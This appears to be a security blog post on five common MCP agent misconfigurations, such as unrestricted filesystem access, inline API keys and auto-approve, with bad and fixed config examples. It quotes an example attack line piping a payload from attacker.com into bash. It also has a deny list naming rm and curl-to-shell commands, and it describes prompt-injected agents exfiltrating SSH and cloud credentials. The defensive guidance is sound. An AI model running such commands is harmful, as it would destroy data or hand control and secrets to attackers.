Skip to content
Back to Blog
MCPConfigurationVulnerabilities

The 5 MCP Misconfigurations We See in Every Other Scan

After scanning hundreds of MCP configurations, the same five mistakes keep appearing. None are sophisticated. All are dangerous. Here is what they are and exactly how to fix each one.

The 5 MCP Misconfigurations We See in Every Other Scan

Configuration Mistakes That Turn Your Agent Into a Liability

We've scanned hundreds of MCP configurations across Claude Code, Cursor, Windsurf, and custom agent setups. The same five mistakes appear with alarming consistency. None of them are sophisticated. All of them are dangerous. Here's what they are and exactly how to fix each one.

1. Filesystem Servers Without Directory Restrictions

What it is: Running an MCP filesystem server with root-level or home-directory access, giving the agent read/write access to the entire machine.

Why it's dangerous: Your home directory contains ~/.ssh/ (private keys), ~/.aws/credentials (cloud access keys), ~/.config/ (application tokens), browser profiles with saved passwords, and every .env file in every project. An agent with unrestricted filesystem access is one prompt injection away from exfiltrating any of these.

Bad config:

{
  "mcpServers": {
    "filesystem": {
      "command": "npx",
      "args": ["-y", "@modelcontextprotocol/server-filesystem", "/Users/dev"]
    }
  }
}

Good config:

{
  "mcpServers": {
    "filesystem": {
      "command": "npx",
      "args": [
        "-y", "@modelcontextprotocol/server-filesystem",
        "/Users/dev/projects/my-app/src",
        "/Users/dev/projects/my-app/tests"
      ]
    }
  }
}

The fix: Specify the exact directories the agent needs. The filesystem server accepts multiple path arguments — use them. If your agent only needs to edit source code in src/ and run tests in tests/, those are the only two paths it should see.

2. Inline API Keys in Server Environment Blocks

What it is: Hardcoding API keys, tokens, and secrets directly in the env field of MCP server configurations.

Why it's dangerous: MCP config files end up in version control, get shared across teams, appear in CI/CD pipeline logs, and get copied into onboarding documentation. A GitHub token hardcoded in your claude_desktop_config.json is not a secret — it's a time bomb with a distribution list.

Bad config:

{
  "mcpServers": {
    "github": {
      "command": "npx",
      "args": ["-y", "@modelcontextprotocol/server-github"],
      "env": {
        "GITHUB_PERSONAL_ACCESS_TOKEN": "ghp_R4nD0mT0k3nV4lu3H3r3"
      }
    }
  }
}

Good config:

{
  "mcpServers": {
    "github": {
      "command": "npx",
      "args": ["-y", "@modelcontextprotocol/server-github"],
      "env": {
        "GITHUB_PERSONAL_ACCESS_TOKEN": "op://Private/GitHub-Agent/token"
      }
    }
  }
}

The fix: Use a secret manager reference (1Password CLI op:// URIs, Bitwarden CLI, or AWS Secrets Manager). The config file should never contain a value that works as a credential on its own.

3. No Approval Gate for Destructive Operations

What it is: Running an agent with auto-approve enabled for all tool calls, including operations that delete files, send emails, modify infrastructure, or execute purchases.

Why it's dangerous: Auto-approve exists for developer convenience. But when that same blanket approval covers rm -rf, git push --force, kubectl delete, or sending an email to your entire contact list, a single bad inference turns into real-world damage that can't be undone.

Bad config:

{
  "permissions": {
    "allow": ["*"]
  }
}

Good config:

{
  "permissions": {
    "allow": [
      "Read",
      "Glob",
      "Grep",
      "WebSearch"
    ],
    "deny": [
      "Bash(rm *)",
      "Bash(git push *)",
      "Bash(curl * | sh)"
    ]
  }
}

The fix: Allowlist read-only and safe operations for auto-approval. Everything else should require manual confirmation. The five seconds you spend clicking "approve" is cheaper than the five hours you spend recovering from an unintended deletion.

4. Running Agents Without Container Isolation

What it is: Executing AI agents directly on the host operating system with full access to system resources, network, and process space.

Why it's dangerous: Without isolation, an agent tricked into running curl attacker.com/payload | bash executes that payload with your user's full permissions. It can read every process's environment variables (which often contain secrets), establish reverse shells, modify cron jobs, and pivot to other machines on your network.

Bad setup:

# No isolation whatsoever
claude --mcp-config ./mcp.json

Good setup:

# docker-compose.yml
services:
  agent:
    image: node:20-slim
    security_opt:
      - no-new-privileges:true
    read_only: true
    tmpfs:
      - /tmp:size=100M
    cap_drop:
      - ALL
    mem_limit: 2g
    cpus: "1.0"
    volumes:
      - ./src:/workspace/src:rw
      - ./tests:/workspace/tests:ro

The fix: Run agents in containers with read_only filesystems, drop all Linux capabilities, set memory and CPU limits, and mount only the specific directories the agent needs.

5. Overly Broad Tool Allowlist Patterns

What it is: Using wildcard patterns in tool allowlists that inadvertently grant access to every tool exposed by an MCP server, including tools you didn't know existed.

Why it's dangerous: A server you installed for "read-only GitHub access" might also expose create_issue, merge_pull_request, delete_branch, and update_repository_settings. A wildcard allowlist means every tool the server offers — including tools added in future updates — is available to the agent.

Bad config:

{
  "mcpServers": {
    "github": {
      "allowedTools": ["*"]
    }
  }
}

Good config:

{
  "mcpServers": {
    "github": {
      "allowedTools": [
        "get_file_contents",
        "search_repositories",
        "list_issues",
        "get_pull_request"
      ]
    }
  }
}

The fix: Enumerate every tool by its exact name. No wildcards. When you add a new MCP server, list all tools it exposes and pick only the ones your agent actually needs.

The Pattern Behind All Five

Every one of these misconfigurations follows the same pattern: a developer chose the path of least resistance during setup, and the default was insecure. The filesystem path was /. The API key went inline. Auto-approve was turned on. The container step was skipped. The tool allowlist used *.

Security is the sum of these small decisions. Fix them now. It takes about fifteen minutes. That's significantly less time than your next incident response will take.